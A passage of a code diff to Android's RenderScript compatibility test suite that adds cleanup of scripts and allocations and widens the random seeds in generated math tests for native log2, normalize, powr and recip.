             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2Half2Half2(inV, out);
             verifyResultsNativeLog2Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeLog2Half3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x2120ea50l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe00e98f12120ea50l, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeLog2Half3Half3(inV, out);
             verifyResultsNativeLog2Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2Half3Half3(inV, out);
             verifyResultsNativeLog2Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeLog2Half4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8028af44l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe00ea3928028af44l, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeLog2Half4Half4(inV, out);
             verifyResultsNativeLog2Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2Half4Half4(inV, out);
             verifyResultsNativeLog2Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.java
index 2e47583..887f3bf 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeNormalizeRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeNormalizeFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7e4aac53l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x487756167e4aac53l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeNormalizeFloatFloat(inV, out);
             verifyResultsNativeNormalizeFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeFloatFloat(inV, out);
             verifyResultsNativeNormalizeFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -114,11 +124,12 @@
     }
 
     private void checkNativeNormalizeFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xedd0e45fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x65c77dbcedd0e45fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeNormalizeFloat2Float2(inV, out);
             verifyResultsNativeNormalizeFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloat2Float2: " + e.toString());
         }
@@ -126,9 +137,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeFloat2Float2(inV, out);
             verifyResultsNativeNormalizeFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -190,11 +203,12 @@
     }
 
     private void checkNativeNormalizeFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe3ec053dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x65c946d7e3ec053dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeNormalizeFloat3Float3(inV, out);
             verifyResultsNativeNormalizeFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloat3Float3: " + e.toString());
         }
@@ -202,9 +216,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeFloat3Float3(inV, out);
             verifyResultsNativeNormalizeFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -266,11 +282,12 @@
     }
 
     private void checkNativeNormalizeFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xda07261bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x65cb0ff2da07261bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeNormalizeFloat4Float4(inV, out);
             verifyResultsNativeNormalizeFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloat4Float4: " + e.toString());
         }
@@ -278,9 +295,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeFloat4Float4(inV, out);
             verifyResultsNativeNormalizeFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -348,11 +367,12 @@
     }
 
     private void checkNativeNormalizeHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x96cffbd5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x284c43cd96cffbd5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeNormalizeHalfHalf(inV, out);
             verifyResultsNativeNormalizeHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalfHalf: " + e.toString());
         }
@@ -360,9 +380,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeHalfHalf(inV, out);
             verifyResultsNativeNormalizeHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -424,11 +446,12 @@
     }
 
     private void checkNativeNormalizeHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xeb68f38fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xed4c7c9eb68f38fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeNormalizeHalf2Half2(inV, out);
             verifyResultsNativeNormalizeHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalf2Half2: " + e.toString());
         }
@@ -436,9 +459,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeHalf2Half2(inV, out);
             verifyResultsNativeNormalizeHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -505,11 +530,12 @@
     }
 
     private void checkNativeNormalizeHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4a70b883l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xed4d26b4a70b883l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeNormalizeHalf3Half3(inV, out);
             verifyResultsNativeNormalizeHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalf3Half3: " + e.toString());
         }
@@ -517,9 +543,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeHalf3Half3(inV, out);
             verifyResultsNativeNormalizeHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -586,11 +614,12 @@
     }
 
     private void checkNativeNormalizeHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa9787d77l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xed4dd0ca9787d77l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeNormalizeHalf4Half4(inV, out);
             verifyResultsNativeNormalizeHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalf4Half4: " + e.toString());
         }
@@ -598,9 +627,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeNormalizeHalf4Half4(inV, out);
             verifyResultsNativeNormalizeHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeNormalizeHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeNormalizeHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.java
index 6656c4d..7059a22 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativePowrRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inBase;
         public float inExponent;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativePowrFloatFloatFloat() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x834d1839l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf9181f0fl, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x22637077834d1839l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xef7b0ab4f9181f0fl, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrFloatFloatFloat(inBase, out);
             verifyResultsNativePowrFloatFloatFloat(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrFloatFloatFloat(inBase, out);
             verifyResultsNativePowrFloatFloatFloat(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloatFloatFloat: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrFloatFloatFloat(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNativePowrFloat2Float2Float2() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x283b11a5l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb67d4abbl, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x47afceb7283b11a5l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x65ac261bb67d4abbl, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrFloat2Float2Float2(inBase, out);
             verifyResultsNativePowrFloat2Float2Float2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrFloat2Float2Float2(inBase, out);
             verifyResultsNativePowrFloat2Float2Float2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloat2Float2Float2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrFloat2Float2Float2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNativePowrFloat3Float3Float3() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x10aef718l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd9fcd3el, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe2961d5b10aef718l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x411aa11d0d9fcd3el, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrFloat3Float3Float3(inBase, out);
             verifyResultsNativePowrFloat3Float3Float3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrFloat3Float3Float3(inBase, out);
             verifyResultsNativePowrFloat3Float3Float3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloat3Float3Float3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrFloat3Float3Float3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNativePowrFloat4Float4Float4() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf922dc8bl, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x64c24fc1l, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7d7c6bfef922dc8bl, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1c891c1e64c24fc1l, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrFloat4Float4Float4(inBase, out);
             verifyResultsNativePowrFloat4Float4Float4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrFloat4Float4Float4(inBase, out);
             verifyResultsNativePowrFloat4Float4Float4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrFloat4Float4Float4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrFloat4Float4Float4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkNativePowrHalfHalfHalf() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5f0b09f0l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2a404496l, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xfccc3ab25f0b09f0l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x371128092a404496l, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrHalfHalfHalf(inBase, out);
             verifyResultsNativePowrHalfHalfHalf(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrHalfHalfHalf(inBase, out);
             verifyResultsNativePowrHalfHalfHalf(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalfHalfHalf: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrHalfHalfHalf(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkNativePowrHalf2Half2Half2() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xdfd0cbe8l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb2e110el, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2fe8c7b8dfd0cbe8l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe243e2d40b2e110el, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrHalf2Half2Half2(inBase, out);
             verifyResultsNativePowrHalf2Half2Half2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrHalf2Half2Half2(inBase, out);
             verifyResultsNativePowrHalf2Half2Half2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalf2Half2Half2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrHalf2Half2Half2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkNativePowrHalf3Half3Half3() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd3821cc5l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xcef3bdbl, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6972d34ed3821cc5l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xab11ff810cef3bdbl, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrHalf3Half3Half3(inBase, out);
             verifyResultsNativePowrHalf3Half3Half3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrHalf3Half3Half3(inBase, out);
             verifyResultsNativePowrHalf3Half3Half3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalf3Half3Half3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrHalf3Half3Half3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkNativePowrHalf4Half4Half4() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc7336da2l, 0, 256);
-        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xeb066a8l, -15, 15);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa2fcdee4c7336da2l, 0, 256);
+        Allocation inExponent = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x73e01c2e0eb066a8l, -15, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testNativePowrHalf4Half4Half4(inBase, out);
             verifyResultsNativePowrHalf4Half4Half4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testNativePowrHalf4Half4Half4(inBase, out);
             verifyResultsNativePowrHalf4Half4Half4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativePowrHalf4Half4Half4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsNativePowrHalf4Half4Half4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.java
index c33d5ba..1a621c7 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeRecipRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeRecipFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcc4ed441l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4ec14a4fcc4ed441l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeRecipFloatFloat(inV, out);
             verifyResultsNativeRecipFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeRecipFloatFloat(inV, out);
             verifyResultsNativeRecipFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeRecipFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeRecipFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeRecipFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x69d54a5dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd1ec6fa169d54a5dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeRecipFloat2Float2(inV, out);
